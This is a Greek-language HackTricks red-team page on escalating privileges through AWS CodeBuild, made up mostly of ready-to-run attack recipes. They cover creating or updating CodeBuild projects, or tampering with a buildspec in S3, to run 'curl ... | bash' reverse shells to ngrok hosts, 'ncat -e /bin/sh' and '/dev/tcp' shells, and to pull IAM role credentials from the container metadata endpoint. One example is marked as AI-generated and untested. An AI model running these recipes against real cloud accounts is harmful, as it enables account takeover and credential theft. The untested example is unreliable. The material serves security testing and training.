Skip to content

Latest commit

 

History

History
294 lines (219 loc) · 13.3 KB

File metadata and controls

294 lines (219 loc) · 13.3 KB

AWS - Εscalation προνομίων στο Codebuild

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

codebuild

Βρείτε περισσότερες πληροφορίες:

{% content-ref url="../aws-services/aws-codebuild-enum.md" %} aws-codebuild-enum.md {% endcontent-ref %}

iam:PassRole, codebuild:CreateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

Ένας επιτιθέμενος με τα δικαιώματα iam:PassRole, codebuild:CreateProject, και codebuild:StartBuild ή codebuild:StartBuildBatch θα μπορούσε να εξελίξει τα προνόμια σε οποιοδήποτε ρόλο IAM του codebuild δημιουργώντας έναν ενεργό.

{% tabs %} {% tab title="Παράδειγμα1" %}

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"

JSON="{
\"name\": \"codebuild-demo-project\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"


REV_PATH="/tmp/rev.json"

printf "$JSON" > $REV_PATH

# Create project
aws codebuild create-project --cli-input-json file://$REV_PATH

# Build it
aws codebuild start-build --project-name codebuild-demo-project

# Wait 3-4 mins until it's executed
# Then you can access the logs in the console to find the AWS role token in the output

# Delete the project
aws codebuild delete-project --name codebuild-demo-project

{% endtab %}

{% tab title="Παράδειγμα2" %} {% code overflow="wrap" %}

# Generated by AI, not tested
# Create a buildspec.yml file with reverse shell command
echo 'version: 0.2
phases:
build:
commands:
- curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash' > buildspec.yml

# Upload the buildspec to the bucket and give access to everyone
aws s3 cp buildspec.yml s3:<S3_BUCKET_NAME>/buildspec.yml

# Create a new CodeBuild project with the buildspec.yml file
aws codebuild create-project --name reverse-shell-project --source type=S3,location=<S3_BUCKET_NAME>/buildspec.yml --artifacts type=NO_ARTIFACTS --environment computeType=BUILD_GENERAL1_SMALL,image=aws/codebuild/standard:5.0,type=LINUX_CONTAINER --service-role <YOUR_HIGH_PRIVILEGE_ROLE_ARN> --timeout-in-minutes 60

# Start a build with the new project
aws codebuild start-build --project-name reverse-shell-project

{% endcode %} {% endtab %} {% endtabs %}

Πιθανή Επίπτωση: Άμεση αύξηση προνομίων σε οποιονδήποτε ρόλο AWS Codebuild.

{% hint style="warning" %} Σε ένα container Codebuild, το αρχείο /codebuild/output/tmp/env.sh περιέχει όλες τις μεταβλητές περιβάλλοντος που χρειάζονται για να έχετε πρόσβαση στα διαπιστευτήρια μεταδεδομένων.

Αυτό το αρχείο περιέχει τη μεταβλητή περιβάλλοντος AWS_CONTAINER_CREDENTIALS_RELATIVE_URI που περιέχει τη διαδρομή URL για την πρόσβαση στα διαπιστευτήρια. Θα είναι κάτι σαν αυτό /v2/credentials/2817702c-efcf-4485-9730-8e54303ec420

Προσθέστε αυτό στο URL http://169.254.170.2/ και θα μπορείτε να ανακτήσετε τα διαπιστευτήρια του ρόλου.

Επιπλέον, περιέχει επίσης τη μεταβλητή περιβάλλοντος ECS_CONTAINER_METADATA_URI που περιέχει το πλήρες URL για να λάβετε πληροφορίες μεταδεδομένων σχετικά με το container. {% endhint %}

iam:PassRole, codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

Όπως και στην προηγούμενη ενότητα, αν αντί να δημιουργήσετε ένα έργο κατασκευής μπορείτε να το τροποποιήσετε, μπορείτε να υποδείξετε τον ρόλο IAM και να κλέψετε το διακριτικό.

REV_PATH="/tmp/codebuild_pwn.json"

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"

# You need to indicate the name of the project you want to modify
JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"

printf "$JSON" > $REV_PATH

aws codebuild update-project --cli-input-json file://$REV_PATH

aws codebuild start-build --project-name codebuild-demo-project

Πιθανή Επίπτωση: Άμεση αύξηση προνομίων σε οποιονδήποτε ρόλο AWS Codebuild.

codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

Όπως και στην προηγούμενη ενότητα αλλά χωρίς την άδεια iam:PassRole, μπορείτε να καταχραστείτε αυτές τις άδειες για τροποποίηση υπαρχόντων έργων Codebuild και πρόσβαση στον ρόλο που έχουν ήδη ανατεθεί.

{% tabs %} {% tab title="StartBuildBatch" %}

REV_PATH="/tmp/codebuild_pwn.json"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"

# You need to indicate the name of the project you want to modify
JSON="{
\"name\": \"codebuild_lab_3_project\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nbatch:\\\\n  fast-fail: false\\\\n  build-list:\\\\n    - identifier: build1\\\\n      env:\\\\n        variables:\\\\n          BUILD_ID: build1\\\\n      buildspec: |\\\\n        version: 0.2\\\\n        env:\\\\n          shell: sh\\\\n        phases:\\\\n          build:\\\\n            commands:\\\\n              - curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh\\\\n      ignore-failure: true\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",
\"computeType\": \"BUILD_GENERAL1_SMALL\",
\"imagePullCredentialsType\": \"CODEBUILD\"
}
}"

printf "$JSON" > $REV_PATH

# Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild!

aws codebuild update-project --cli-input-json file://$REV_PATH

aws codebuild start-build-batch --project-name codebuild-demo-project

{% endtab %}

{% tab title="StartBuild" %} {% code overflow="wrap" %}

REV_PATH="/tmp/codebuild_pwn.json"

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"

JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",
\"computeType\": \"BUILD_GENERAL1_SMALL\",
\"imagePullCredentialsType\": \"CODEBUILD\"
}
}"

# Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild!

printf "$JSON" > $REV_PATH

aws codebuild update-project --cli-input-json file://$REV_PATH

aws codebuild start-build --project-name codebuild-demo-project

{% endcode %} {% endtab %} {% endtabs %}

Πιθανή Επίπτωση: Άμεση αύξηση προνομίων στους συνδεδεμένους ρόλους AWS Codebuild.

SSM

Έχοντας επαρκή δικαιώματα για να ξεκινήσετε μια συνεδρία ssm, είναι δυνατόν να μπείτε μέσα σε ένα έργο Codebuild που υποδέχεται.

Το έργο codebuild θα πρέπει να έχει ένα σημείο αναμονής:

phases:
pre_build:
commands:
- echo Entered the pre_build phase...
- echo "Hello World" > /tmp/hello-world
      - codebuild-breakpoint

Και μετά:

aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
aws ssm start-session --target <sessionTarget> --region <region>

Για περισσότερες πληροφορίες ελέγξτε τα έγγραφα.

(codebuild:StartBuild | codebuild:StartBuildBatch), s3:GetObject, s3:PutObject

Ένας επιτιθέμενος που μπορεί να ξεκινήσει/επανεκκινήσει μια διαδικασία κατασκευής ενός συγκεκριμένου έργου CodeBuild το οποίο αποθηκεύει το αρχείο buildspec.yml σε ένα κάδο S3 στον οποίο ο επιτιθέμενος έχει πρόσβαση εγγραφής, μπορεί να λάβει εκτέλεση εντολών στη διαδικασία CodeBuild.

Σημείωση: η εξέλιξη είναι σχετική μόνο εάν ο εργαζόμενος του CodeBuild έχει έναν διαφορετικό ρόλο, ελπίζουμε με περισσότερα προνομιούχα δικαιώματα, από αυτόν του επιτιθέμενου.

aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./

vim ./buildspec.yml

# Add the following lines in the "phases > pre_builds > commands" section
#
#    - apt-get install nmap -y
#    - ncat <IP> <PORT> -e /bin/sh

aws s3 cp ./buildspec.yml s3://<build-configuration-files-bucket>/buildspec.yml

aws codebuild start-build --project-name <project-name>

# Wait for the reverse shell :)

Μπορείτε να χρησιμοποιήσετε κάτι τέτοιο builspec για να πάρετε ένα αντίστροφο κέλυφος:

{% code title="buildspec.yml" %}

version: 0.2

phases:
build:
commands:
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1

{% endcode %}

Επίπτωση: Άμεση αύξηση προνομίων στον ρόλο που χρησιμοποιεί ο εργαζόμενος AWS CodeBuild που συνήθως έχει υψηλά προνόμια.

{% hint style="warning" %} Σημειώστε ότι το buildspec μπορεί να αναμένεται σε μορφή zip, οπότε ένας επιτιθέμενος θα χρειαζόταν να κατεβάσει, αποσυμπιέσει, τροποποιήσει το buildspec.yml από τον ριζικό κατάλογο, να συμπιέσει ξανά και να μεταφορτώσει. {% endhint %}

Περισσότερες λεπτομέρειες μπορούν να βρεθούν εδώ.

Πιθανή Επίπτωση: Άμεση αύξηση προνομίων στους συνδεδεμένους ρόλους AWS Codebuild.